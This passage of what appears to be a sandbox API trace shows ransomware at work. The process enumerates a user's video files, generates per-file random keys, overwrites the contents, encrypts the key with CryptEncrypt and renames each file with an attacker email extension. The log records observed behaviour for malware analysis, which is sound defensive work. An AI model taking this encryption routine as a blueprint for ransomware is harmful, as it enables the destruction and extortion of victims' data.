| out: hHeap=0x520000) returned 1 [0141.092] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0141.092] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0141.092] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12c30080, ftCreationTime.dwHighDateTime=0x1d4cc70, ftLastAccessTime.dwLowDateTime=0xd74cfde7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd74cfde7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c698 [0141.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.093] GetLastError () returned 0x0 [0141.093] SetLastError (dwErrCode=0x0) [0141.093] GetLastError () returned 0x0 [0141.093] SetLastError (dwErrCode=0x0) [0141.093] GetLastError () returned 0x0 [0141.093] SetLastError (dwErrCode=0x0) [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0141.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c918 [0141.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c918 | out: hHeap=0x520000) returned 1 [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0141.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0141.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0141.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.093] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12c30080, ftCreationTime.dwHighDateTime=0x1d4cc70, ftLastAccessTime.dwLowDateTime=0xd74cfde7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd74cfde7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.094] GetLastError () returned 0x0 [0141.094] SetLastError (dwErrCode=0x0) [0141.094] GetLastError () returned 0x0 [0141.094] SetLastError (dwErrCode=0x0) [0141.094] GetLastError () returned 0x0 [0141.094] SetLastError (dwErrCode=0x0) [0141.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0141.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0141.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0141.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60ca98 [0141.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ca98 | out: hHeap=0x520000) returned 1 [0141.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0141.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0141.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0141.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.094] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105760b0, ftCreationTime.dwHighDateTime=0x1d4d5d1, ftLastAccessTime.dwLowDateTime=0x99d5bb0, ftLastAccessTime.dwHighDateTime=0x1d4c8f4, ftLastWriteTime.dwLowDateTime=0x99d5bb0, ftLastWriteTime.dwHighDateTime=0x1d4c8f4, nFileSizeHigh=0x0, nFileSizeLow=0x17fe4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EqfT58LU mMBerIUbey.mkv", cAlternateFileName="EQFT58~1.MKV")) returned 1 [0141.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.094] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.094] GetLastError () returned 0x0 [0141.094] SetLastError (dwErrCode=0x0) [0141.094] GetLastError () returned 0x0 [0141.094] SetLastError (dwErrCode=0x0) [0141.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0141.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.095] GetLastError () returned 0x0 [0141.095] SetLastError (dwErrCode=0x0) [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60dd30 [0141.095] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f11b6e0, ftCreationTime.dwHighDateTime=0x1d4d4e4, ftLastAccessTime.dwLowDateTime=0xd3207420, ftLastAccessTime.dwHighDateTime=0x1d4c8f1, ftLastWriteTime.dwLowDateTime=0xd3207420, ftLastWriteTime.dwHighDateTime=0x1d4c8f1, nFileSizeHigh=0x0, nFileSizeLow=0x16dc1, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="jlvabbYMZMl.avi", cAlternateFileName="JLVABB~1.AVI")) returned 1 [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.095] SetLastError (dwErrCode=0x0) [0141.095] GetLastError () returned 0x0 [0141.095] SetLastError (dwErrCode=0x0) [0141.095] GetLastError () returned 0x0 [0141.095] SetLastError (dwErrCode=0x0) [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611bf8 [0141.095] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c1d0c0, ftCreationTime.dwHighDateTime=0x1d4cf21, ftLastAccessTime.dwLowDateTime=0x953e9430, ftLastAccessTime.dwHighDateTime=0x1d4c88c, ftLastWriteTime.dwLowDateTime=0x953e9430, ftLastWriteTime.dwHighDateTime=0x1d4c88c, nFileSizeHigh=0x0, nFileSizeLow=0x2d3d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="OUpIQX.flv", cAlternateFileName="")) returned 1 [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.095] SetLastError (dwErrCode=0x0) [0141.095] GetLastError () returned 0x0 [0141.095] SetLastError (dwErrCode=0x0) [0141.095] GetLastError () returned 0x0 [0141.095] SetLastError (dwErrCode=0x0) [0141.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.096] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe159170, ftCreationTime.dwHighDateTime=0x1d4d4c1, ftLastAccessTime.dwLowDateTime=0x60836580, ftLastAccessTime.dwHighDateTime=0x1d4d32d, ftLastWriteTime.dwLowDateTime=0x60836580, ftLastWriteTime.dwHighDateTime=0x1d4d32d, nFileSizeHigh=0x0, nFileSizeLow=0x16bb8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="pqVvqlfa8.mkv", cAlternateFileName="PQVVQL~1.MKV")) returned 1 [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.096] SetLastError (dwErrCode=0x0) [0141.096] GetLastError () returned 0x0 [0141.096] SetLastError (dwErrCode=0x0) [0141.096] GetLastError () returned 0x0 [0141.096] SetLastError (dwErrCode=0x0) [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610158 [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.096] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74cfde7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd74cfde7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd75699a1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.096] SetLastError (dwErrCode=0x0) [0141.096] GetLastError () returned 0x0 [0141.096] SetLastError (dwErrCode=0x0) [0141.096] GetLastError () returned 0x0 [0141.096] SetLastError (dwErrCode=0x0) [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0141.096] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e41000, ftCreationTime.dwHighDateTime=0x1d4d5c0, ftLastAccessTime.dwLowDateTime=0xff95c230, ftLastAccessTime.dwHighDateTime=0x1d4d558, ftLastWriteTime.dwLowDateTime=0xff95c230, ftLastWriteTime.dwHighDateTime=0x1d4d558, nFileSizeHigh=0x0, nFileSizeLow=0xaf3c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="tzSappW2-IeGHHLv.flv", cAlternateFileName="TZSAPP~1.FLV")) returned 1 [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.096] SetLastError (dwErrCode=0x0) [0141.096] GetLastError () returned 0x0 [0141.096] SetLastError (dwErrCode=0x0) [0141.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.097] SetLastError (dwErrCode=0x0) [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611ac8 [0141.097] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f0e3e0, ftCreationTime.dwHighDateTime=0x1d4c89a, ftLastAccessTime.dwLowDateTime=0xfd004350, ftLastAccessTime.dwHighDateTime=0x1d4cd8e, ftLastWriteTime.dwLowDateTime=0xfd004350, ftLastWriteTime.dwHighDateTime=0x1d4cd8e, nFileSizeHigh=0x0, nFileSizeLow=0x32f7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="u4z41VEn5wfej.mp4", cAlternateFileName="U4Z41V~1.MP4")) returned 1 [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.097] SetLastError (dwErrCode=0x0) [0141.097] GetLastError () returned 0x0 [0141.097] SetLastError (dwErrCode=0x0) [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0141.097] SetLastError (dwErrCode=0x0) [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611e58 [0141.097] FindNextFileW (in: hFindFile=0x60c698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f0e3e0, ftCreationTime.dwHighDateTime=0x1d4c89a, ftLastAccessTime.dwLowDateTime=0xfd004350, ftLastAccessTime.dwHighDateTime=0x1d4cd8e, ftLastWriteTime.dwLowDateTime=0xfd004350, ftLastWriteTime.dwHighDateTime=0x1d4cd8e, nFileSizeHigh=0x0, nFileSizeLow=0x32f7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="u4z41VEn5wfej.mp4", cAlternateFileName="U4Z41V~1.MP4")) returned 0 [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611998 [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0141.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0141.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0141.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0141.097] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\u4z41VEn5wfej.mp4", dwFileAttributes=0x80) returned 1 [0141.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x612020 [0141.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563a88 [0141.098] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\u4z41VEn5wfej.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\u4z41ven5wfej.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0141.098] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=13047) returned 1 [0141.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x32f7) returned 0x612410 [0141.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x32f7) returned 0x615710 [0141.098] ReadFile (in: hFile=0x79c, lpBuffer=0x612410, nNumberOfBytesToRead=0x32f7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0x32f7, lpOverlapped=0x0) returned 1 [0141.099] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-13047, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.099] WriteFile (in: hFile=0x79c, lpBuffer=0x615710*, nNumberOfBytesToWrite=0x32f7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x615710*, lpNumberOfBytesWritten=0x2e1f9bc*=0x32f7, lpOverlapped=0x0) returned 1 [0141.099] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x32f7 [0141.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.099] WriteFile (in: hFile=0x79c, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.099] WriteFile (in: hFile=0x79c, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.100] CloseHandle (hObject=0x79c) returned 1 [0141.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0141.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0141.100] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\u4z41VEn5wfej.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\u4z41ven5wfej.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\u4z41VEn5wfej.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\u4z41ven5wfej.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a88 | out: hHeap=0x520000) returned 1 [0141.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611998 | out: hHeap=0x520000) returned 1 [0141.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611e58 | out: hHeap=0x520000) returned 1 [0141.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0141.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0141.101] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\tzSappW2-IeGHHLv.flv", dwFileAttributes=0x80) returned 1 [0141.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611c90 | out: hHeap=0x520000) returned 1 [0141.102] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\tzSappW2-IeGHHLv.flv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\tzsappw2-ieghhlv.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0141.102] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=44860) returned 1 [0141.102] ReadFile (in: hFile=0x79c, lpBuffer=0x612410, nNumberOfBytesToRead=0xaf3c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0xaf3c, lpOverlapped=0x0) returned 1 [0141.103] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-44860, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.103] WriteFile (in: hFile=0x79c, lpBuffer=0x2e61f38*, nNumberOfBytesToWrite=0xaf3c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0xaf3c, lpOverlapped=0x0) returned 1 [0141.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0141.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.103] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xaf3c [0141.103] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.103] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.104] WriteFile (in: hFile=0x79c, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.104] WriteFile (in: hFile=0x79c, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.104] CloseHandle (hObject=0x79c) returned 1 [0141.104] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0141.104] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0141.104] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\tzSappW2-IeGHHLv.flv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\tzsappw2-ieghhlv.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\tzSappW2-IeGHHLv.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\tzsappw2-ieghhlv.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f10 | out: hHeap=0x520000) returned 1 [0141.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6121e8 | out: hHeap=0x520000) returned 1 [0141.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611ac8 | out: hHeap=0x520000) returned 1 [0141.106] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.106] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0141.106] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0141.106] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0141.106] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0141.106] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\pqVvqlfa8.mkv", dwFileAttributes=0x80) returned 1 [0141.106] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x613100 [0141.106] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563a88 [0141.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x613100 | out: hHeap=0x520000) returned 1 [0141.106] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\pqVvqlfa8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\pqvvqlfa8.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0141.107] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=93112) returned 1 [0141.107] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16bb8) returned 0x2e61f38 [0141.107] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16bb8) returned 0x2e78af8 [0141.107] ReadFile (in: hFile=0x79c, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x16bb8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x16bb8, lpOverlapped=0x0) returned 1 [0141.108] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-93112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.108] WriteFile (in: hFile=0x79c, lpBuffer=0x2e78af8*, nNumberOfBytesToWrite=0x16bb8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e78af8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16bb8, lpOverlapped=0x0) returned 1 [0141.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e78af8 | out: hHeap=0x520000) returned 1 [0141.112] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16bb8 [0141.112] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, 